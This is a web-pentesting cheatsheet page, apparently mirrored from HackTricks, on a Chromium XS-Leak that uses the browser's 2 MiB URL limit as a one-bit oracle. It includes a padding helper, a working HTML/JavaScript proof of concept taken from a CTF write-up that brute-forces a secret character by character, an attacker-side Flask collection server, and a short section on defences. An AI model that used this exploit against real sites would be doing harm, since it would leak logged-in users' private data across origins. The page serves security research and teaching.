daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

url-max-length-client-side.md (7049B)


      1 ---
      2 title: "URL Max Length - Client Side"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/xs-search/url-max-length-client-side.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xs-search/url-max-length-client-side.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # URL Max Length - Client Side
     14 
     15 This Chromium-specific XS-Leak exploits the browser's 2 MiB URL limit. The attacker opens a URL just below the limit. If a secret-dependent response redirects to a longer URL, Chromium blocks the navigation and leaves an accessible `about:blank` document; otherwise, the window completes a cross-origin navigation and reading `origin` throws an exception. This difference provides a one-bit oracle.<sup>[[1]](#references)[[2]](#references)</sup>
     16 
     17 ## Requirements and mechanics
     18 
     19 The useful gadget is a **credentialed top-level GET** whose hit and miss paths produce final URLs of different lengths. This matters because `SameSite=Lax` cookies can accompany a top-level navigation even though they would normally be absent from a cross-site subresource probe. The attacker must also retain the popup's `WindowProxy`, and the ordinary branch must commit a document cross-origin from the attacker.<sup>[[1]](#references)</sup>
     20 
     21 The padding belongs in the **fragment**. It is not sent in the HTTP request, so the initial request does not have to cross a server or proxy request-line limit. When an HTTP redirect has no fragment of its own, the browser carries the original fragment into the redirect target; any state-dependent path/query growth can therefore push only the final client-side URL over the limit. A `Location` containing its own fragment replaces this padding and breaks the primitive.<sup>[[1]](#references)</sup>
     22 
     23 Current Chromium keeps `kMaxURLChars` at `2 * 1024 * 1024` (2,097,152) and rejects a navigation when the canonical destination's `spec().size()` is greater than that value. Count the **serialized URL**, not an unescaped input string: percent-encoding and URL canonicalization can change its size. Using an ASCII fragment makes the calculation predictable.<sup>[[2]](#references)[[3]](#references)</sup>
     24 
     25 ```javascript
     26 function padBelowLimit(base, slack = 1) {
     27   const u = new URL(base)
     28   u.hash = ""
     29   const head = u.href + "#"
     30   const count = 2 * 1024 * 1024 - head.length - slack
     31   if (count < 0) throw new Error("base URL already exceeds the limit")
     32   return head + "A".repeat(count)
     33 }
     34 ```
     35 
     36 Choose `slack` smaller than the redirect-induced growth, and calibrate the boundary with known hit/miss queries in the exact browser build. Do not assume that every oversized navigation exposes the same state: current Chromium regression tests map an oversized fragment from an initial `about:blank` document to `about:blank#blocked`, while an oversized same-document fragment navigation from an already committed non-blank page can retain its previous URL. The fresh popup/initial-document state is therefore part of the gadget.<sup>[[3]](#references)[[4]](#references)</sup>
     37 
     38 ## Proof of concept
     39 
     40 The following proof of concept, adapted from the HackTM CTF 2023 write-up, tests candidate characters:<sup>[[1]](#references)</sup>
     41 
     42 ```html
     43 <html>
     44   <body></body>
     45   <script>
     46     ;(async () => {
     47       const curr = "http://secrets.wtl.pw/search?query=HackTM{"
     48 
     49       const leak = async (char) => {
     50         fetch("/?try=" + char)
     51         let w = window.open(
     52           curr + char + "#" + "A".repeat(2 * 1024 * 1024 - curr.length - 2)
     53         )
     54 
     55         const check = async () => {
     56           try {
     57             w.origin
     58           } catch {
     59             fetch("/?nope=" + char)
     60             return
     61           }
     62           setTimeout(check, 100)
     63         }
     64         check()
     65       }
     66 
     67       const CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"
     68 
     69       for (let i = 0; i < CHARSET.length; i++) {
     70         leak(CHARSET[i])
     71         await new Promise((resolve) => setTimeout(resolve, 50))
     72       }
     73     })()
     74   </script>
     75 </html>
     76 ```
     77 
     78 The attacker's server records candidates for which the cross-origin navigation completed:
     79 
     80 ```python
     81 from flask import Flask, request
     82 
     83 app = Flask(__name__)
     84 
     85 CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"
     86 chars = []
     87 
     88 @app.route('/', methods=['GET'])
     89 def index():
     90     global chars
     91 
     92     nope = request.args.get('nope', '')
     93     if nope:
     94         chars.append(nope)
     95 
     96     remaining = [c for c in CHARSET if c not in chars]
     97 
     98     print("Remaining: {}".format(remaining))
     99 
    100     return "OK"
    101 
    102 @app.route('/exploit.html', methods=['GET'])
    103 def exploit():
    104     return open('exploit.html', 'r').read()
    105 
    106 if __name__ == '__main__':
    107     app.run(host='0.0.0.0', port=1337)
    108 ```
    109 
    110 This PoC is an **elimination oracle**: a `SecurityError` means the popup committed cross-origin, so that candidate is reported as `nope`; candidates that remain readable are possible hits. The initial popup is also readable before its navigation commits, so never classify the first successful read as a hit. Use a bounded polling deadline, reject `window.open()` returning `null`, close each popup, keep concurrency low, and confirm survivors over several runs with known positive and negative controls. Otherwise slow navigation, popup blocking, or the memory cost of multiple 2 MiB URLs can create false positives and destabilize a browser bot.<sup>[[1]](#references)</sup>
    111 
    112 ## Limitations and defenses
    113 
    114 This is not a generic URL-length oracle: it requires a length-changing redirect, inherited fragment padding, a usable top-level popup, and Chromium behavior that preserves a same-origin initial document on the oversized branch. Firefox, WebKit, embedded WebViews, and future Chromium versions must be measured independently rather than assigned the same threshold or blocked-page behavior.<sup>[[1]](#references)[[4]](#references)</sup>
    115 
    116 The strongest fix is to remove the state-dependent navigation difference: do not place secret-dependent data in redirect destinations and make hit/miss redirects indistinguishable in structure and length.<sup>[[1]](#references)</sup> See the general [XS-Leaks defenses](/hacktricks/pentesting-web/xs-search/overview#defenses) for controls that restrict credentialed cross-site requests or sever opener relationships.
    117 
    118 
    119 ## References
    120 
    121 - [1] [HackTM CTF Quals 2023 - secrets (unintended solution: Chrome's 2MB URL limit)](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
    122 - [2] [Chromium - URL display guidelines: URL length](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url_display_guidelines/url_display_guidelines.md#URL-Length)
    123 - [3] [Chromium - navigation URL validation (`kMaxURLChars`)](https://chromium.googlesource.com/chromium/src/+/main/content/browser/renderer_host/navigation_controller_impl.cc)
    124 - [4] [Chromium - oversized navigation browser tests](https://chromium.googlesource.com/chromium/src/+/main/content/browser/navigation_browsertest.cc)